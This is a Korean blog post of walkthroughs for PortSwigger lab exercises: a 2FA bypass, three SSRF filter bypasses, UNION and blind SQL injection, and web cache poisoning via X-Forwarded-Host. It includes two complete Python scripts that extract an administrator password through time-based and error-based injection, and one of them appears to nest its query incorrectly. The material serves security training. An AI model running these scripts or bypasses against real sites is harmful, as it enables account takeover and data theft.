문제 링크

https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass

목표 & 사용 도구

목표: 이중 인증을 우회하여 피해자의 계정으로 My account 페이지에 접근하는 것입니다.

사용도구: Burp Suite

문제 설명

해당 랩은 이중 인증을 우회할 수 있다고 하며 이미 유효한 유저 이름과 비밀번호를 얻은 상태라고 합니다. 하지만 2FA 인증 코드 가 있어서 접근을 불가능한 상태이며 Carlos의 account 페이지에 접근하여 랩 문제를 해결할 수 있다고 합니다. 이때 계정 정보는 아래와 같습니다.

자신의 계정: wiener:peter

피해자의 계정: carlos:montoya

문제 풀이

• 계정 정보를 확인하고 ACCESS THE LAB을 클릭하여 랩에 접속합니다.

• My account를 클릭합니다.

• 사용자 이름과 비밀번호를 입력하고 로그인을 시도합니다.

• 4자리 숫자 코드를 입력해야 하며 이중 인증을 사용하고 있다는 것을 알 수 있습니다. Email client를 클릭합니다.

• Email을 확인해 보면 4자리 숫자 코드를 알 수 있으며 해당 숫자 코드를 복사합니다.

• 복사한 4자리 숫자 코드를 숫자 코드 입력하는 곳에 기입합니다.

• 정상적으로 로그인되는 것을 볼 수 있고 피해자의 계정으로 로그인을 시도하기 위해 로그아웃을 합니다.

• 피해자의 계정으로 로그인을 시도 합니다.

• 피해자의 계정인 carlos 계정으로 로그인을 했을 때 4자리 숫자 코드를 입력하라고 하며 피해자의 이메일 주소를 모르기 때문에 숫자 코드를 알 수 없는 상황입니다. 

• 이때 숫자 코드를 입력하지 않고 URL 입력창에 계정 정보를 볼 수 있는 /my-account 페이지를 입력하고 접근합니다.

• 이중 인증을 하지 않고 우회하여 carlos 계정으로 로그인이 되어있는 것을 볼 수 있고 2단계 인증을 하지 않고도 로그인된 사용자가 접근할 수 있는 My account 페이지에 접속이 가능해지면서 랩 문제도 해결된 것을 볼 수 있습니다.

[설명] 해당 랩에서는 1단계 인증을 하고 나서의 세션과 2단계 인증을 하고 나서의 세션이 다른 것을 볼 수 있습니다. -1단계 인증 후 세션 -2단계 인증 후 세션 세션이 서로 다름에도 불구하고 1단계 인증 세션을 가지고도 2단계 인증을 해야 접속할 수 있는 페이지에 접근을 할 수 있었는데 이는 서버가 2단계 인증까지 했다는 것을 제대로 검증하지 않고 있거나 2단계 인증을 했다는 근거가 반영되지 않은 걸로 추정됩니다. 그렇기 때문에 2단계 인증 단계에서 입력해야 하는 숫자 코드를 몰라도 아이디, 비밀번호로 발급받은 1단계 인증 세션만으로도 2단계 인증을 우회할 수 있었습니다.

문제 링크

https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter

목표 & 사용 도구

목표: admin 인터페이스에 접근하여 carlos 계정을 삭제하는 것입니다.

사용도구: Burp Suite

사전 지식

[URL 파싱에서의 @ 기호]
@기호는 사용자의 정보와 실제 접속할 호스트를 구분하는 기호로 사용됩니다.예를들어 https://user:pw@test.com/mypage URL 파싱할때 user:pw는 인증 정보, 즉 자격증명에 사용되고 실제로 접속하는 웹 사이트는 test.com 이 됩니다. 이런식으로 사용되는 @ 기호의 경우 현재는 거의 사용되지 않고 문법만 남아있는 상태라고 합니다.

[URL 파싱에서의 #(Fragment) 기호]
URL 파싱에서 # 기호는 웹 문서의 내부의 특정 섹션이나 리소스를 가리킬 때 사용하는 기호 입니다. 웹 브라우저가 서버에 요청을 보낼  때 # 기호 뒤의 값들은 요청에 포함되지 않고 클라이언트 측에서 처리됩니다. 

문제 설명

해당 랩을 해결하기 위해서는 check stock URL을 admin 인터페이스로 바꿔 접근한 뒤 carlos 계정을 삭제해야 한다고 합니다. 하지만 개발자가 SSRF 방어 로직을 사용 중이라고 하며 우회할 필요가 있다고 합니다.

문제 풀이

• ACCESS THE LAB을 클릭하여 랩에 접속합니다.

• 웹 사이트에 접속한 뒤 게시물 중 하나를 택해서 View details를 클릭하여 게시물로 이동합니다.

• Check stock 버튼을 클릭합니다.

• Check stock 버튼을 클릭했을 때의 요청을 Burp Suite의 Repeater 기능에 세팅합니다.

• 세팅한 요청을 전송해 보면 아래와 같이 재고 결과가 나오는 것을 확인할 수 있습니다.

• stockApi 파라미터 값을 admin 인터페이스 주소로 바꾸고 요청을 보내면 호스트가 stock.weliketoshop.net 이어야 한다는 응답 메시지를 반환하며 필터링이 되고 있는 것을 알 수 있습니다. 

• @ 기호를 사용할 수 있는지 확인하기 위해서 해당 기호를 사용합니다. 서버가 stock.weliketoshop.net에 접근하게 만들고 접근 불가능 응답이 반환되지 않으며 @ 기호를 사용할 수 있다는 것을 알 수 있습니다.

• 이번엔 @ 기호 앞에 # 기호를 삽입했을 때 응답을 보면 호스트를 stock.weliketoshop.net으로 인식하지 못해 필터링에 걸리게 되는 것을 볼 수 있습니다.

• 이전 단계의 페이로드에서 @기호 앞에 # 기호를 이중 인코딩한 값을 삽입하고 요청을 전송하면 필터링을 우회하여 admin 인터페이스에 접근이 가능하게 됩니다.

• 응답에서 Raw를 클릭하고 carlos 계정 삭제 버튼을 찾은 뒤 해당 URL을 복사합니다.

• stockApi 파라미터에 복사했던 carlos 계정 삭제 URL을 admin 인터페이스 경로에 추가하여 요청을 전송합니다. 

• 이전 과정을 끝내고 웹 사이트로 돌아가 보면 문제가 클리어 된 것을 볼 수 있습니다.

• admin 인터페이스에 다시 접속해 보면 실제로 carlos의 계정이 삭제된 것을 볼 수 있습니다.

문제 링크

https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter

목표 & 사용 도구

목표: admin 인터페이스에 접근하여 carlos 계정을 삭제하는 것입니다.

사용도구: Burp Suite

문제 설명

해당 문제를 풀기 위해서는 admin 인터페이스에 접근해서 carlos의 계정을 삭제해야 합니다. 강도가 낮은 SSRF 방어 로직을 사용 중이며 우회를 할 필요가 있다고 합니다.

문제 풀이 - Lab: SSRF with blacklist-based input filter

• ACCESS THE LAB을 클릭하여 랩에 접속합니다.

• 웹 사이트에 접속한 뒤 게시물 중 하나를 택해서 View details를 클릭하여 게시물로 이동합니다.

• Check stock 버튼을 클릭합니다.

• Check stock 버튼을 클릭했을 때의 요청을 Burp Suite의 Repeater 기능에 세팅합니다.

• stockApi 파라미터 값을 admin 인터페이스 주소로 바꾸고 요청을 보내면 유효하지 않은 URL이라는 응답 메시지가 반환되며 외부 주소에서는 접근이 불가능하다는 것을 알 수 있습니다. (요청을 아래로 내리면 stockApi 파라미터가 있습니다.)

• stockApi 파라미터의 값을 임의의 URL로 바꾸고 응답을 확인해 보면 연결 에러 응답을 받고 있는 것을 확인해 볼 수 있습니다.

• stockApi 파라미터에 삽입했던 임의의 URL에서 경로에 localhost를 삽입해 보고 요청을 보냈을 때 응답을 보면 차단을 당하고 있기 때문에 localhost 문자열이 필터링 되고 있다는 것을 알 수 있습니다.

• 이번엔 localhost가 아닌 admin을 삽입해 보고 응답을 확인하면 똑같이 차단당하고 있기 때문에 admin 문자열도 필터링 되고 있다는 사실을 알 수 있습니다.

• localhost 문자열이 필터링 되고 있는데 첫 글자만 대문자로 바꿔서 우회를 시도해 보면 차단 메시지가 반환되지 않고 있기 때문에 우회에 성공했다는 것을 알 수 있습니다.

• admin 문자열도 첫 글자만 대문자로 바꿔서 우회를 시도해 보면 차단 메시지가 반환이 되지 않기 때문에 우회에 성공했다는 것을 알 수 있습니다.

• stockApi 파라미터를 통해 admin 인터페이스에 접근할 때 알아낸 우회 방법을 통해 접근을 해보면 admin 인터페이스에 성공적으로 접속할 수 있기 때문에 SSRF 취약점이 존재하고 있으며 필터링이 미흡하다는 것을 알 수 있습니다.

• 응답에서 Raw를 클릭하고 carlos 계정 삭제 버튼을 찾은 뒤 해당 URL을 복사합니다.

• stockApi 파라미터에 복사했던 carlos 계정 삭제 URL을 admin 인터페이스 경로에 추가하여 요청을 보냅니다. 

• 이전 과정을 끝내고 웹 사이트로 돌아가 보면 문제가 클리어 된 것을 볼 수 있습니다.

• admin 인터페이스에 다시 접속해서 확인해 보면 carlos 계정이 삭제되어 있는 것을 볼 수 있습니다.

문제 링크

https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection

목표 & 사용 도구

목표: carlos 계정을 삭제하는 것입니다.

사용도구: Burp Suite

문제 설명

• admin 인터페이스 주소는 http://192.168.0.12:8080/admin 이라는 것을 알 수 있고 해당 페이지에서 carlos 계정을 삭제하면 문제를 클리어하게 됩니다. 이때 admin 인터페이스의 경우 서버가 접근 가능한 내부 네트워크에서만 접근이 가능하며 직접적인 접근은 필터링에 의해 차단되게 됩니다. 따라서 open redirect 기능을 찾아야 한다고 설명하고 있습니다.

문제 풀이 - https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection

• ACCESS THE LAB을 클릭하여 랩에 접속합니다.

• 웹 사이트에 접속한 뒤 게시물 중 하나를 택해서 View details를 클릭하여 게시물로 이동합니다.

• Check stock 버튼을 클릭합니다.

•  Check stock 버튼을 클릭했을 때의 요청을 Burp Suite의 Repeater 기능에 세팅합니다.

• stockApi 파라미터 값을 admin 인터페이스 주소로 바꾸고 요청을 보내면 유효하지 않은 URL 이라는 응답이 메시지가 반환되며 외부 주소에서는 접근이 불가능하다는 것을 알 수 있습니다.

• 웹 사이트로 돌아가서 Next product 버튼을 클릭합니다.

• Next product 버튼을 클릭했을 때의 요청 및 응답을 취득해 보면 Redirect가 되고 있고 path 파라미터의 입력된 값(주소)이 Location 헤더 값으로 들어가는 것을 알 수 있습니다.

• Ridrect를 따라가보면 path 파라미터 값으로 들어간 경로로 이동하는 것을 볼 수 있으며 Open Redirect 취약점이 존재한다는 것을 알 수 있습니다.
  (Burp Suite Follow redirection 기능을 사용합니다.)

• Check stock 버튼을 클릭했을 때의 요청으로 돌아가서 stockApi 파라미터에 Redirect URL을 입력하면 해당 URL로 서버가 접근하여 Redirect가 된 응답을 반환하는 것을 확인합니다.

• 이번엔 전 단계에서 사용했던 페이로드에서 path 값에 admin 인터페이스가 있는 경로를 삽입하고 요청을 보내면 원래 접근할 수 없었던 admin 인터페이스에 접근이 가능하므로 SSRF 취약점이 존재한다는 것을 알 수 있습니다.

• 응답에서 Raw를 클릭하고 carlos 계정 삭제 버튼을 찾은 뒤 해당 URL을 복사합니다.

• Check stock를 클릭할 때의 요청으로 돌아가서 복사했던 carlos 계정 삭제 URL을 path 파라미터에 삽입하고 요청을 보냅니다.

• 이전 과정을 끝내고 웹 사이트로 돌아가 보면 문제가 클리어 된 것을 볼 수 있습니다.

• admin 인터페이스에 다시 접속해서 확인해 보면 carlos 계정이 삭제되어 있는 것을 볼 수 있습니다.

문제 링크

https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-multiple-values-in-single-column

목표 & 사용 도구

목표: administrator 계정의 비밀번호를 알아내서 해당 계정으로 로그인을 하는 것입니다.

사용도구: Burp Suite

문제 풀이 - Lab: SQL injection UNION attack, retrieving multiple values in a single column

• 문제 사이트에 접속하여 문제를 확인합니다. 해당 문제는 상품 카테고리 필터에 SQL Injection 취약점이 있다고 하며 UNION을 사용할 수 있다고 합니다. 또한 쿼리에 대한 응답이 화면에 반환이 되며 DB에는 user 테이블이 있고 해당 테이블에는 username과 password 컬럼이 있다고 합니다. ACCESS THE LAB을 클릭하여 랩에 접속합니다.

• 랩에 접속하면 카테고리를 설정할 수 있는데 아무 카테고리를 클릭해 줍니다. (저는 Gifts로 선택했습니다.)

• Burp Suite를 이용해서 카테고리를 선택했을 때의 요청을 Repeater 기능에 세팅합니다.

• 페이로드를 입력해서 먼저 SQL Injection이 가능한지 확인합니다.

- sql query 문 조건식 참일 때

- sql query 문 조건식 거짓일 때 

• 문제에서 UNION 구문을 사용할 수 있다고 했으며 UNION 구문을 사용하기 위해서는 먼저 컬럼의 개수를 알아야 합니다. order by와  #  (주석 기호)를 이용해서 확인하려고 했지만 에러가 발생하는 것을 확인할 수 있습니다. 

• 이번엔  -  기호를 이용해서 order by와 주석 처리를 시도하여 컬럼의 개수를 알아냅니다

- order by 1

- order by 2

- order by 3 

• 컬럼의 개수가 2개인 것을 알아냈으므로 이제 UNION 구문을 사용할 수 있는지 확인합니다.

• 데이터 타입을 알아내기 위해 첫 번째 컬럼 위치에 숫자를 삽입하고 응답을 확인합니다. 에러가 발생하지 않고 정상적으로 응답이 반환되기 때문에 첫 번째 컬럼은 데이터 타입이 숫자형인 것을 알 수 있습니다.

• 이어서 두 번째 컬럼에도 숫자를 넣고 응답을 확인합니다. 에러가 발생하는 것을 볼 수 있으며 두 번째 컬럼의 경우 데이터 타입이 숫자형이 아니라는 것을 알 수 있습니다.

• 이번엔 두 번째 컬럼에 문자열을 삽입하고 응답을 확인합니다. 에러가 발생하지 않고 응답이 정상적으로 반환되고 있기 때문에 두 번째 컬럼은 데이터 타입이 문자열에 해당한다는 것을 알 수 있습니다. 또한 두 번째 컬럼에 삽입했던 값이 화면에 출력되는 것도 확인할 수 있습니다.

• 두 컬럼의 데이터 타입을 파악했고 어떤 DB를 사용 중인지 알아내기 위해서 DB version을 출력하는 함수를 사용합니다. 이때 DB 별 version을 출력해 주는 함수 또는 구문이 다를 수 있기 때문에 여러 가지를 시도해 봐야 합니다. 화면에 출력되는 컬럼인 두 번째 컬럼에 version() 함수를 입력해 봤을 때 결과를 보면 PostgreSQL을 사용하고 있다는 것을 알 수 있습니다.

• 문제에서 설명했듯이 users 테이블에 username과 password 컬럼이 있기 때문에 다음 페이로드를 삽입하여 administrator 계정이 존재하는지 확인합니다.

• administrator 계정이 존재하기 때문에 해당 계정의 비밀번호를 알아내는 페이로드를 작성하여 비밀번호를 알아냅니다.

추가) 다음과 같은 페이로드로 각 계정과 비밀번호를 한 번에 출력할 수도 있습니다.

• My account 버튼을 클릭해서 로그인 입력 창으로 이동한 뒤 알아낸 비밀번호를 가지고 로그인 administrator의 계정으로 로그인을 시도합니다.

• UNION SQL Injection 공격을 통해 알아낸 administrator 비밀번호로 로그인이 되면서 해당 랩 문제를 클리어하게 됩니다.

문제 링크

https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header

목표 & 도구

목표: 캐시 포이즈닝 취약점을 이용하여 방문자의 브라우저에서 alert(document.cookie)를 실행되도록 하는 것입니다.

사용도구: Burp Suite + Param Miner(Extension)

사전 지식

- 웹 캐시 포이즈닝(Web Cache Poisoning) 
캐시 서버에 악의적인 응답을 저장시켜서 해당 캐시를 받는 타 사용자에게 공격을 수행하는 공격 기법입니다.

- 캐시 키(Cache Key)
캐시 서버가 요청을 식별할 때 사용하는 고유한 값입니다. 캐시 서버는 모든 헤더를 캐시 키로 사용하지 않고 일부 헤더만 캐시 키로 사용합니다.

- Unkeyed 헤더
캐시 키에서 제외된 헤더를 말합니다. 캐시 키로 사용되지 않지만 백엔드에서는 해당 헤더를 읽고 응답을 생성할 수 있기 때문에 캐시 포이즈닝 공격에 사용될 수 있습니다.

- Cache-Control 헤더

• max-age: 캐시 유지 시간을 나타냅니다.

- Age 헤더

• 캐시 된 후 얼마나 지났는지 초 단위로 나타냅니다.

- X-Cache 헤더

• hit: 응답이 캐시에서 제공되었음을 의미합니다. (백엔드 도달 X)
• miss: 응답이 원본 서버(백엔드)에서 왔음을 의미합니다.(백엔드 도달 O)

ex) 응답 헤더(Response Header)
Cache-Control: max-age=30 -> 30초 동안 캐시를 유지합니다.
Age: 0 -> 캐시 된 시간을 나타냅니다. 
X-Cache: miss -> 백엔드 서버 도달 O

Cache-Control: max-age=30 -> 30초 동안 캐시를 유지합니다.
Age: 5 -> 캐시 된 지 5초 지났음을 의미합니다. 
X-Cache: hit -> 백엔드 서버 도달 X

- 캐시 버스터(Cache Buster)
웹 브라우저나 프록시 서버가 이전에 저장된 캐시를 사용하지 않고 서버로부터 최신 버전의 리소스를 강제로 받도록 하는 기술을 말합니다. 캐시 포이즈닝 공격을 테스트할 때 실제 운영 중인 페이지가 오염되면 다른 사용자에게 피해가 발생할 수 있기 때문에 

?test=1234와 같이 임의의 파라미터를 추가해서 별도의 캐시 키를 생성해서 사용합니다.

[캐시 버스터 사용 X]
테스트하는 사람 -> / + 캐시 포이즈닝 공격
타 사용자 -> 메인 홈페이지(/) 접속 시 캐시 포이즈닝으로 인한 공격 영향받음.

[캐시 버스터 사용 O]
테스트하는 사람 -> /?test=1234 + 캐시 포이즈닝 공격
타 사용자 -> 메인 홈페이지(/) 접속 시 캐시 포이즈닝 공격으로 인한 공격 영향 안 받음.

문제 풀이 - https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header

• 문제 사이트에 접속하여 문제를 확인합니다. 해당 LAB은 unkeyed 헤더의 입력을 안전하지 않은 방식으로 처리를 하고 있어 웹 캐시 포이즈닝 취약점이 존재한다고 합니다. 문제를 해결하기 위해선 방문자의 브라우저에서 캐시 포이즈닝 공격을 통해 alert(document.cookie)가 실행 되도록 해야 한다는 것을 알 수 있습니다.

• LAB의 접속했을 때의 요청 및 응답을 Burp Suite를 사용해 취득하여 확인해 보면 응답 헤더에 Cache-Control, Age, X-Cache 헤더가 있는 것을 확인합니다. 

• 실제 캐시를 오염시키면 타 사용자에게 피해가 발생할 수 있기 때문에 테스트를 할 때 캐시 버스터(Cache Buster)를 사용합니다.

• 캐시 버스터를 사용해서 요청을 보낸 뒤 캐시가 유지되는 시간인 30초 이내에 동일한 경로와 파라미터로 다시 요청을 해보면 캐시 된 시간인 Age가 1초 지났다는 것과 X-Cache가 hit이기 때문에 캐시가 정상적으로 동작하고 있음을 알 수 있습니다.

• 문제에서 unkeyed 헤더로 인한 취약점 있다고 명시해 줬기 때문에 unkeyed 헤더를 찾기 위해 Burp Extension에서 제공하는 Param Miner를 사용합니다.(커뮤니티 버전도 무료 다운로드 가능합니다.) Proxy > HTTP history에서  /?test=1234 경로로 접근할 때의 요청에 마우스를 올리고 우클릭 > Extensions > Param Miner > Guess headers를 클릭합니다. 

+) Param Miner를 사용하지 않고 수동으로도 테스트가 가능합니다

• Attack Config 창이 화면에 보이면 poison only에 체크하고 ok를 클릭합니다. (poison only 옵션은 캐시 포이즈닝 취약점을 집중적으로 찾아내도록 설정하는 옵션입니다.)

• Burp의 Extensions > Installed 탭에 들어가서 아래의 Output을 확인합니다.

• 시간이 지나면 unkeyed인 헤더를 찾을 수 있으며 X-Forwarded-Host 헤더가 unkeyed 헤더인 것을 알아냅니다.

• Burp Suite의 Repeater 기능을 이용하여 /?test=1234에 요청을 보낼 때 요청 헤더에 unkeyed 헤더인 X-Forwarded-Host를 삽입하고 헤더 값은 임의의 값으로 설정하여 요청을 보냅니다. 이후 응답을 확인해 보면 js 파일을 가져올 때 host 부분이 X-Forwarded-Host에 입력했던 헤더 값(임의의 값)으로 되어 있는 것을 확인할 수 있습니다. 

+) 이때의 X-Cache는 miss입니다.
X-Forwarded-Host 헤더가 백엔드에서 처리되기 때문에 응답에 반영되며 이것이 캐시에 저장됩니다.

• 캐시가 만료되기 전에 웹 페이지 URL 주소창에 /?test=1234 을 입력하여 접근합니다.

• 접근했을 때의 요청 및 응답을 확인해 보면 X-Forwarded-Host 헤더를 추가하지 않았는데 이전에 입력했던 임의의 값이 host로 들어가는 js 파일을 가져오고 있는 것을 볼 수 있습니다.

+) 이때의 X-Cache는 hit입니다.
X-Forwarded-Host 헤더가 처리된 응답이 캐시에 저장되어 있기 때문에 캐시 된 응답을 받게 됩니다.

• 다시 Burp Repeater로 돌아와서 X-Forwarded-Host 헤더 값을 이용하여 script 태그의 src 속성 값을 사용자가 임의로 끊어서 다른 스크립트를 로드할 수 있는지 확인합니다.

[페이로드(입력 값)]

• 이때 캐시가 만료되기 전에 /?test=1234로 사용자가 접근했을 때의 HTTP History를 보게 되면 캐시 된 응답이 script 태그에 담겨오고 있는 것을 볼 수 있으며 <script type="~" src="//test1234"><"/resources/js/tracking.js">이 되어 https://test1234/ 에서 파일을 가져오려고 시도하고 있음을 알 수 있습니다.

• LAB에서 Go to exploit server를 클릭하여 접근합니다.

• Head에 Content-Type이 application/javascript 이며 문제 해결을 위해선 타 사용자가 방문했을 때 alert(document.cookie)가 실행되어야 하기 때문에 Body에 해당 스크립트를 삽입합니다. 이후 Store를 클릭하여 내용들을 저장합니다. (스크립트 저장된 경로: https://{exploit_server_id}.exploit-server.net/exploit)

• Burp Repeater로 돌아와서 X-Forwarded-Host 헤더 값을 이전 단계에서 스크립트를 삽입했던 경로인 {exploit_server_id}.exploit-server.net/exploit 으로 입력하고 요청을 보냅니다. 응답을 보면 src 속성이 스크립트가 저장된 페이지에 접근하도록 되어있는 것을 볼 수 있습니다.

[페이로드(입력 값)]

• 캐시가 만료되기 전에 웹 페이지에 접속하여 /?test=1234 경로로 접근을 합니다.

• alert 창이 화면에 나오면서 스크립트가 실행되는 것을 확인할 수 있으며 캐시 포이즈닝 공격에 성공했음을 알 수 있습니다. 이때 캐시 버스터를 사용하면 문제가 solve 처리되지 않기 때문에 실제 공격을 할 때는 캐시 버스터 없이 진행합니다.

• 캐시 버스터 없이 X-Forwarded-Host 헤더 값을 설정합니다. 이때 중요한 점은 X-Cache가 miss 여야 정상적으로 동작합니다.

[페이로드(입력 값)]

• 캐시가 만료되기 전에 다시 메인 홈페이지에 접근합니다.

• alert 함수가 호출되는 것을 확인하고 확인을 클릭합니다.

• 문제에서 요구하는 alert(document.cookie)가 성공적으로 실행됐기 때문에 해당 LAB 문제를 성공적으로 풀게 됩니다.

문제 링크

https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval

목표 & 도구 

목표: SQL Injection 취약점을 이용하여 administrator 계정의 비밀번호를 알아낸 뒤 해당 계정으로 로그인하는 것입니다.

사용도구: Burp Suite, Visual Studio Code

문제 풀이 - https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval

• 문제 사이트에 접속하여 문제를 확인합니다. tracking cookie를 사용 중이며 해당 cookie를 통해 SQL query로 질의를 하고 있다는 것을 알 수 있습니다. SQL query로 질의를 했을 때의 결과 값 리턴이 따로 없지만 sql query 문을 이용하여 time delay를 통해 정보를 유추할 수 있다고 얘기하는 것을 알 수 있습니다. ACCESS THE LAB 버튼을 클릭하여 웹 페이지에 접속합니다.

• LAB에 접속했을 때의 요청 및 응답을 Burp Suite를 사용해 취득한 뒤 TrackingId 쿠키가 설정되어 있는 것을 확인합니다.

• 문제에서 TrackingId 쿠키 값이 sql query 문에 사용된다고 했기 때문에 sql query 문 조건이 참이 되도록 구성하여 요청을 보내고 응답을 확인합니다.

• sql query 문 조건이 거짓이 되도록 구성하여 요청을 보내고 응답을 확인합니다. sql query 문 조건이 참, 거짓일 때 각각의 응답 결과를 비교해 보면 동일한 것을 볼 수 있고 sql query 문 참, 거짓 응답 결과가 다름을 이용한 SQL Injection 공격은 할 수 없음을 알 수 있습니다.

• 참, 거짓 응답 결과가 다름을 이용하여 data를 추출할 수 없는 상황이라면 Time-based SQL Injection을 시도해 볼 수 있습니다. time delay가 되는지 페이로드를 삽입하여 요청을 보내면 time delay가 되고 있다는 것을 볼 수 있습니다

[페이로드(입력 값)]

•  time delay가 발생하는 것을 확인했기 때문에 time delay를 이용한 Time-based SQL Injection format을 만들어서 사용합니다. Visual Studio Code를 이용하여 Python 스크립트를 작성했습니다. time delay를 이용하는 것이므로 코드를 실행해도 상당히 오래 걸릴 수 있습니다.

import requests
import time

# url은 LAB에 접속했을 때 본인의 url 주소를 입력합니다.
# session, TrackingId는 각각 본인의 파라미터 값을 사용합니다.
# 입력 시 중괄호 제거 후 입력해야 합니다.
url = "{url}"
session = "{session}"
TrackingId = "{TrackingId}"

# pg_sleep(10)을 사용했으므로 time delay가
# 10초동안 발생했는지 비교하기 위해 threshold 값을 10으로 해줍니다.
threshold = 10

# time delay 발생 여부 확인 함수
def check_time_delay(query):
    cookies = {
        "session" : f"{session}",
        "TrackingId" : f"{TrackingId}'|| (select case when ({query}) then pg_sleep(10) else pg_sleep(0) end) ||'"
    }

    start = time.time()
    requests.get(url, cookies=cookies)
    delay = time.time() - start

    return delay >= threshold

# admin 계정 비밀번호 길이 + 값 알아내는 함수
def find_admin_pw():
    low = 1
    high = 256
    pw = ''

    while low < high:
        mid = (low + high) // 2
        
        query = (
            f"(select length(password) from users where username='administrator') > {mid}"
        )
    
        if check_time_delay(query):
            low = mid + 1
        else:
            high = mid

    pw_len = low
    print(f"password 길이: {pw_len}")

	# 알아낸 password 길이만큼 반복문을 돌리면서
    # 비밀번호의 각 글자를 추출합니다.
    for i in range(1, pw_len+1):
        low = 32
        high = 127

        while low < high:
        
            mid = (low + high) // 2
            
            query = (
                f"ascii(substr((select password from users where username='administrator'), {i}, 1)) > {mid}"
            )
        
            if check_time_delay(query):
                low = mid + 1
            else:
                high = mid

        pw += chr(low)

    return pw

print(f"administrator password: {find_admin_pw()}")

• Python 스크립트를 실행하면 다음과 같이 administrator 계정의 비밀번호를 알아낼 수 있습니다.

• My account 탭에 접속하여 알아낸 비밀번호를 입력한 뒤 Log in 버튼을 클릭합니다.

• Log in 버튼을 클릭하면 administrator 계정으로 로그인이 되면서 해당 LAB 문제를 성공적으로 풀게 됩니다.

문제 링크

https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors

목표 & 도구

목표: SQL Injection 취약점을 이용하여 administrator 계정의 비밀번호를 알아낸 뒤 해당 계정으로 로그인하는 것입니다.

사용도구: Burp Suite

문제 풀이 - https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors

• 문제 사이트에 접속하여 문제를 확인합니다. tracking cookie를 사용 중이며 해당 cookie를 통해 SQL query로 질의를 하고 있다는 것을 알 수 있습니다. SQL query로 질의를 했을 때의 결과 값 리턴이 따로 없지만 sql query 문으로 에러를 유발하면 웹 애플리케이션이 에러 메시지를 반환한다는 것도 알 수 있습니다. ACCESS THE LAB 버튼을 클릭하여 웹 페이지에 접속합니다.

• LAB에 접속했을 때의 요청 및 응답을 Burp Suite를 사용해 취득한 한 뒤 TrackingId 쿠키가 설정되어 있는 것을 확인합니다.

• 문제에서 설명했듯이 TrackingId 쿠키는 SQL query 문을 수행하는데 사용되고 있고 에러를 유발하면 웹 애플리케이션이 에러 메시지를 반환한다고 했기 때문에 TrackingId  쿠키에 싱글 쿼터를 삽입해 보면 에러 메시지를 반환하고 있는 것을 볼 수 있습니다.

• 주석을 사용할 수 있는지 확인합니다. 실제 sql query 문 마지막에 남는 싱글 쿼터가 주석에 의해 처리되었기 때문에 웹 페이지가 정상적으로 보이고 있는 것을 알 수 있고 이를 통해 주석이 사용 가능하다는 것을 알 수 있습니다.

•  sql query 문 조건식이 참이 되도록 하는 sql query 문을 구성하여 요청을 보내고 응답을 확인해 보면 정상적으로 웹 페이지가 반환되고 있는 것을 확인합니다.

• sql query 문 조건식이 거짓이 되도록 하는 sql query 문을 구성해서 요청을 보내봐도 응답 결과는 똑같다는 것을 알 수 있고 단순히 조건식이 참, 거짓에 의한 응답 결과의 차이를 보고 data 추출을 할 수 없다는 것을 알 수 있습니다.

• 참, 거짓 응답 결과가 다름에 따른 data 추출은 할 수 없지만 해당 LAB 문제에서는 에러 발생 시 에러 메시지를 반환하기 때문에 에러를 유발하는 sql query 문을 구성하면 참, 거짓을 이용한 응답 결과가 다름에 따른 data 추출을 할 수 있게 됩니다.

[페이로드(입력 값)]

[case when 구문 조건 참일 때]

[case when 구문 조건 거짓일 때]

• 에러 유무에 따른 응답 결과를 통해 data를 추출할 수 있도록 Python scirpt를 제작합니다. (직접 입력하는 것도 가능하지만 상당히 오래 걸리기 때문에 Python 코드를 제작하는 것이 좋습니다.)

[administrator passowrd 추출 - python script]

# 주석 사용 버전
import string
import requests

url = "https://0ada005104420d0780bb089800b00070.web-security-academy.net/"

# session, TrackingId는 자신이 가지고 있는 값을 사용합니다.
session = "jTeRDnbRbQIgMz8DasJdL8L0wNLNjszJ"
TrackingId = "uUveEoJDaHYuGguk"

# 문제에서 administrator 계정의 정보는 users table에 있다고 언급이 되었고
# users table의 column은 username column과, password column이 있다고 했기 때문에
# administrator의 password 길이를 알아내고 해당 길이만큼 반복문을 돌리면서
# data를 추출할 수 있습니다.

# administrator password 길이 찾는 함수 
def find_admin_pw_len():

	# 이진 탐색법 적용
    low = 1
    high = 256

    while low < high:
        mid = (low + high) // 2
        query = (
            f"(select length(password) from users where username='administrator') > {mid} "
        )

        cookies = {
            "session" : f"{session}",
            "TrackingId" : f"{TrackingId}' and (case when ({query}) then to_number(1/0) else 1 end)--"
        }

        response = requests.get(url, cookies=cookies)
        # print(response.text)
        # print(mid)

        if "Internal Server Error" in response.text:
            low = mid + 1
        else:
            high = mid

    return (low)

# administrator password 추출
def find_admin_pw():

    admin_pw = ''
    # administrator password 길이를 저장
    admin_pw_len = find_admin_pw_len()

	# administrator password 길이만큼 반복하면서
    # data추출
    for i in range(1, admin_pw_len+1):
    
    	# 이진 탐색법 적용
        low = 32
        high = 127

        while low < high:
            mid = (low + high) // 2
            query = (
                f"(case when (ascii(substr((select password from users where username='administrator'), {i}, 1)) > {mid}) then to_number(1/0) else 1 end)--"
            )

            cookies = {
                "session" : f"{session}",
                "TrackingId" : f"{TrackingId}' and (case when ({query}) then to_number(1/0) else 1 end)--"
            }

            response = requests.get(url, cookies=cookies)
            # print(response.text)
            # print(mid)

            if "Internal Server Error" in response.text:
                low = mid + 1
            else:
                high = mid
        
        admin_pw += chr(low)

    return admin_pw

print(f"administrator의 password: {find_admin_pw()}")

• 코드를 실행해 보면 다음과 같이 administrator 계정의 password를 얻어낼 수 있게 됩니다.

• 웹 페이지로 돌아가서 My account를 클릭합니다.

• 알아낸 administrator의 ID, Password를 입력합니다.

• administrator 계정으로 로그인에 성공하며 문제를 해결하게 됩니다.

+) 주석을 사용하지 않고 data를 추출하는 페이로드입니다.

